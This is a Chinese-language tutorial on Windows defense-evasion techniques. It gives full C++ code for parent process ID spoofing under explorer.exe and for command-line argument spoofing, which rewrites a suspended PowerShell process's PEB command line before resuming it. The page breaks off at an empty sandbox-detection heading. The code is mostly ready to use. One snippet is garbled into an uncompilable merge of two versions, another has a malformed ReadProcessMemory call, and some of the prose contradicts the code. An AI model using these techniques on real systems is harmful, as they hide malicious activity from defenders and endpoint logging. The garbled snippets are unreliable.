Skip to main content

防御规避技术


父进程伪造


#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}



int main()
{
    DWORD pid = FindExplorerProcessId();
    if (pid != 0)
    {
        printf("The PID of the first instance of explorer.exe: %lu\n", pid);
    }
    else
    {
        printf("explorer.exe is not running.\n");
    }

	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}

查看当前的 explorer.exe 进程,有着诸多子进程,包括即将运行该程序的 cmd.exe。

image.png

如果没有父进程伪造,那么进程树的关系应该是 explorer.exe -> cmd.exe -> ppid_spoofing.exe -> mspaint.exe

image.png

我们看到,程序得以正确运行,mspaint.exe 成了 explorer.exe 的直接子进程。

image.png



命令行参数伪造


创建一个暂停状态的 powershell 进程:

STARTUPINFOEXALPSTARTUPINFOW si;si PROCESS_INFORMATION= pi;new ZeroMemory(&si, sizeof(STARTUPINFOEXA)STARTUPINFOW();
si.StartupInfo.si->cb = sizeof(STARTUPINFOEXA)STARTUPINFOW);
LPSTRPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
LPCWSTR app = (LPSTR)"L"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe"exe\0";
LPSTRwchar_t fakearg=fakearg[] (LPSTR)"= L"-c mspaint.exe"sleep 9\0";
CreateProcessA(CreateProcess(app, fakearg, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si.StartupInfo,si, &pi);
printf("Created process ID: %d\n", pi.pi->dwProcessId);

通过 NtQueryInformationProcess 函数请求 PROCESS_BASIC_INFORMATION 数据,函数调用成功后 ProcessInformation 参数被填充,该参数是被请求信息的缓冲区指针

PPROCESS_BASIC_INFORMATION pbi=new PROCESS_BASIC_INFORMATION();
typedef NTSTATUS(NTAPI* DynamicNtQueryInformationProcess)(
		IN HANDLE ProcessHandle,
		IN PROCESSINFOCLASS ProcessInformationClass,
		OUT PVOID ProcessInformation,
		IN ULONG ProcessInformationLength,
		OUT PULONG ReturnLength OPTIONAL);
DynamicNtQueryInformationProcess pDynamicNtQueryInformationProcess = (DynamicNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
pDynamicNtQueryInformationProcess(pi->hProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);

这里,我们用了 GetProcessAddress 来获得了 NtQueryInformationProcess 函数的地址,因为在 VS 里直接用函数名的话,会导致解析出错。

其中,NtQueryInformationProcess 的函数原型如下:

__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);

PROCESS_BASIC_INFORMATION 结构体如下:

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

这样,我们获得了 PEB 的地址,从而使用 ReadProcessMemory 函数将 PEB 结构体中的数据拷贝到 peb 变量中:

PPEB peb = new PEB();
SIZE_T bytesRead = 0;
ReadProcessMemory(pi.pi->hProcess, pbi.pbi->PebBaseAddress, peb, sizeof(PEB), &bytesRead);

其中,ReadProcessMemory 函数原型如下:

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

回顾一下 PEB 的数据结构:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

其中 PEB 中的 ProcessParametersRTL_USER_PROCESS_PARAMETERS 结构体的指针:

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

ImagePathName CommandLine 都是 UNICODE_STRING 结构体。用 ReadProcessMemory 函数将 ProcessParameters 结构体中的数据拷贝到 parameters 变量里。

PRTL_USER_PROCESS_PARAMETERS parameters = new RTL_USER_PROCESS_PARAMETERS();
ReadProcessMemory(pi.pi->hProcess, pbi.PebBaseAddress,peb->ProcessParameters, parameters, sizeof(RTL_USER_PROCESS_PARAMETERS), &bytesRead);

然后,我们就可以通过 WriteProcessMemory 函数来补丁 CommandLine.Buffer 了。

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);



wchar_t realargs[] = L"-c sleep 5\0";
WriteProcessMemory(pi->hProcess, parameters->CommandLine.Buffer, &realargs, sizeof(realargs), NULL);
ResumeThread(pi->hThread);
CloseHandle(pi->hThread);
CloseHandle(pi->hProcess);




#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <vector>


int main()
{
	LPSTARTUPINFOW si = new STARTUPINFOW();
    si->cb = sizeof(STARTUPINFOW);
	PPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    LPCWSTR app = L"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe\0";
    wchar_t fakearg[] = L"-c get-process | findstr explorer.exe\0";
	CreateProcess(app, fakearg, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, si, pi);
	printf("Created process ID: %d\n", pi->dwProcessId);
    PPROCESS_BASIC_INFORMATION pbi=new PROCESS_BASIC_INFORMATION();
	typedef NTSTATUS(NTAPI* DynamicNtQueryInformationProcess)(
		IN HANDLE ProcessHandle,
		IN PROCESSINFOCLASS ProcessInformationClass,
		OUT PVOID ProcessInformation,
		IN ULONG ProcessInformationLength,
		OUT PULONG ReturnLength OPTIONAL);
	DynamicNtQueryInformationProcess pDynamicNtQueryInformationProcess = (DynamicNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
    pDynamicNtQueryInformationProcess(pi->hProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
    PPEB peb = new PEB();
    SIZE_T bytesRead = 0;
    ReadProcessMemory(pi->hProcess, pbi->PebBaseAddress, peb, sizeof(PEB), &bytesRead);
    PRTL_USER_PROCESS_PARAMETERS parameters = new RTL_USER_PROCESS_PARAMETERS();
    ReadProcessMemory(pi->hProcess, peb->ProcessParameters, parameters, sizeof(RTL_USER_PROCESS_PARAMETERS), &bytesRead);
    std::vector<BYTE> vector(sizeof(fakearg));
    RtlZeroMemory(&vector[0], sizeof(fakearg));
    WriteProcessMemory(pi->hProcess, parameters->CommandLine.Buffer, &vector[0], sizeof(fakearg), NULL);
    wchar_t realargs[] = L"-c mspaint.exe\0";
    WriteProcessMemory(pi->hProcess, parameters->CommandLine.Buffer, &realargs, sizeof(realargs), NULL);
    ResumeThread(pi->hThread);
    CloseHandle(pi->hThread);
    CloseHandle(pi->hProcess);
    return 0;
}




沙箱检测